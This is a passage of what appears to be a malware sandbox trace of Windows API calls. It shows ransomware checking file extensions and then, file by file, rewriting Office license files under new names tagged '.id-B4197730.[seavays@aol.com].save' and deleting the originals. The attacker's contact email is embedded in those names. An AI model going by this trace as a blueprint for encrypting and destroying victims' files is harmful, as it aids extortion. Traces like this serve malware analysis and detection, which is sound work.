lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.654] lstrlenW (lpString=".rar") returned 4 [0198.654] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.654] lstrlenW (lpString=".bz2") returned 4 [0198.654] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.654] lstrlenW (lpString=".7z") returned 3 [0198.654] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0198.654] lstrlenW (lpString=".dbf") returned 4 [0198.654] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0198.654] lstrlenW (lpString=".1cd") returned 4 [0198.655] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0198.655] lstrlenW (lpString=".jpg") returned 4 [0198.655] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.656] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.656] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0198.658] GetLastError () returned 0x0 [0198.658] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0198.948] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0198.950] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.950] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x118, lpOverlapped=0x0) returned 1 [0198.950] SetEndOfFile (hFile=0x51c) returned 1 [0198.950] CloseHandle (hObject=0x51c) returned 1 [0198.951] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.951] SetEndOfFile (hFile=0x458) returned 1 [0198.955] CloseHandle (hObject=0x458) returned 1 [0198.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 1 [0198.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0198.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0198.957] lstrlenW (lpString=".doc") returned 4 [0198.957] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.957] lstrlenW (lpString=".docx") returned 5 [0198.957] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.957] lstrlenW (lpString=".pdf") returned 4 [0198.957] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.957] lstrlenW (lpString=".xls") returned 4 [0198.957] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.957] lstrlenW (lpString=".xlsx") returned 5 [0198.957] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.957] lstrlenW (lpString=".ppt") returned 4 [0198.957] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0198.957] lstrlenW (lpString=".zip") returned 4 [0198.957] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.957] lstrlenW (lpString=".rar") returned 4 [0198.957] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.957] lstrlenW (lpString=".bz2") returned 4 [0198.957] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.958] lstrlenW (lpString=".7z") returned 3 [0198.958] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0198.958] lstrlenW (lpString=".dbf") returned 4 [0198.958] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0198.958] lstrlenW (lpString=".1cd") returned 4 [0198.958] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0198.958] lstrlenW (lpString=".jpg") returned 4 [0198.958] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.959] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.960] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0198.961] GetLastError () returned 0x0 [0198.961] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0198.964] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0198.966] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.966] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x118, lpOverlapped=0x0) returned 1 [0198.966] SetEndOfFile (hFile=0x51c) returned 1 [0198.966] CloseHandle (hObject=0x51c) returned 1 [0198.966] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.966] SetEndOfFile (hFile=0x458) returned 1 [0198.974] CloseHandle (hObject=0x458) returned 1 [0198.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms")) returned 1 [0198.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0198.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0198.977] lstrlenW (lpString=".doc") returned 4 [0198.977] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.977] lstrlenW (lpString=".docx") returned 5 [0198.977] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.977] lstrlenW (lpString=".pdf") returned 4 [0198.977] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.977] lstrlenW (lpString=".xls") returned 4 [0198.977] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.977] lstrlenW (lpString=".xlsx") returned 5 [0198.977] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.977] lstrlenW (lpString=".ppt") returned 4 [0198.977] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0198.978] lstrlenW (lpString=".zip") returned 4 [0198.978] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.978] lstrlenW (lpString=".rar") returned 4 [0198.978] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.978] lstrlenW (lpString=".bz2") returned 4 [0198.978] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.978] lstrlenW (lpString=".7z") returned 3 [0198.978] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0198.978] lstrlenW (lpString=".dbf") returned 4 [0198.978] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0198.978] lstrlenW (lpString=".1cd") returned 4 [0198.978] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0198.978] lstrlenW (lpString=".jpg") returned 4 [0198.978] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.980] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.980] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0198.981] GetLastError () returned 0x0 [0198.981] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d73, lpOverlapped=0x0) returned 1 [0199.228] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0199.229] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.230] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11e, lpOverlapped=0x0) returned 1 [0199.230] SetEndOfFile (hFile=0x51c) returned 1 [0199.512] CloseHandle (hObject=0x51c) returned 1 [0199.512] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.512] SetEndOfFile (hFile=0x458) returned 1 [0199.519] CloseHandle (hObject=0x458) returned 1 [0199.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms")) returned 1 [0199.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0199.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0199.521] lstrlenW (lpString=".doc") returned 4 [0199.521] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.521] lstrlenW (lpString=".docx") returned 5 [0199.521] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.521] lstrlenW (lpString=".pdf") returned 4 [0199.521] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.521] lstrlenW (lpString=".xls") returned 4 [0199.521] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.521] lstrlenW (lpString=".xlsx") returned 5 [0199.521] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.521] lstrlenW (lpString=".ppt") returned 4 [0199.521] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0199.521] lstrlenW (lpString=".zip") returned 4 [0199.521] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.521] lstrlenW (lpString=".rar") returned 4 [0199.521] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.521] lstrlenW (lpString=".bz2") returned 4 [0199.522] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.522] lstrlenW (lpString=".7z") returned 3 [0199.522] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0199.522] lstrlenW (lpString=".dbf") returned 4 [0199.522] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0199.522] lstrlenW (lpString=".1cd") returned 4 [0199.522] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0199.522] lstrlenW (lpString=".jpg") returned 4 [0199.522] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.523] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.523] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0199.526] GetLastError () returned 0x0 [0199.526] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d63, lpOverlapped=0x0) returned 1 [0199.528] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0199.529] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.529] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x114, lpOverlapped=0x0) returned 1 [0199.529] SetEndOfFile (hFile=0x51c) returned 1 [0199.530] CloseHandle (hObject=0x51c) returned 1 [0199.530] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.530] SetEndOfFile (hFile=0x458) returned 1 [0199.533] CloseHandle (hObject=0x458) returned 1 [0199.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms")) returned 1 [0199.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0199.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0199.534] lstrlenW (lpString=".doc") returned 4 [0199.534] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.535] lstrlenW (lpString=".docx") returned 5 [0199.535] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.535] lstrlenW (lpString=".pdf") returned 4 [0199.535] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.535] lstrlenW (lpString=".xls") returned 4 [0199.535] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.535] lstrlenW (lpString=".xlsx") returned 5 [0199.535] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.535] lstrlenW (lpString=".ppt") returned 4 [0199.535] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0199.535] lstrlenW (lpString=".zip") returned 4 [0199.535] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.535] lstrlenW (lpString=".rar") returned 4 [0199.535] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.535] lstrlenW (lpString=".bz2") returned 4 [0199.535] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.535] lstrlenW (lpString=".7z") returned 3 [0199.535] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0199.535] lstrlenW (lpString=".dbf") returned 4 [0199.535] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0199.535] lstrlenW (lpString=".1cd") returned 4 [0199.535] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0199.535] lstrlenW (lpString=".jpg") returned 4 [0199.535] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.536] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.537] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0199.538] GetLastError () returned 0x0 [0199.538] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0199.540] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0199.542] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.542] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11c, lpOverlapped=0x0) returned 1 [0199.542] SetEndOfFile (hFile=0x51c) returned 1 [0199.542] CloseHandle (hObject=0x51c) returned 1 [0199.542] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.542] SetEndOfFile (hFile=0x458) returned 1 [0199.546] CloseHandle (hObject=0x458) returned 1 [0199.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms")) returned 1 [0200.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0200.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0200.040] lstrlenW (lpString=".doc") returned 4 [0200.040] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.040] lstrlenW (lpString=".docx") returned 5 [0200.040] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.040] lstrlenW (lpString=".pdf") returned 4 [0200.040] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.040] lstrlenW (lpString=".xls") returned 4 [0200.040] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.040] lstrlenW (lpString=".xlsx") returned 5 [0200.040] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.040] lstrlenW (lpString=".ppt") returned 4 [0200.040] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0200.040] lstrlenW (lpString=".zip") returned 4 [0200.040] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.040] lstrlenW (lpString=".rar") returned 4 [0200.040] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.040] lstrlenW (lpString=".bz2") returned 4 [0200.040] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.040] lstrlenW (lpString=".7z") returned 3 [0200.040] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0200.040] lstrlenW (lpString=".dbf") returned 4 [0200.040] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0200.041] lstrlenW (lpString=".1cd") returned 4 [0200.041] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0200.041] lstrlenW (lpString=".jpg") returned 4 [0200.041] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.268] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3ff14 | out: 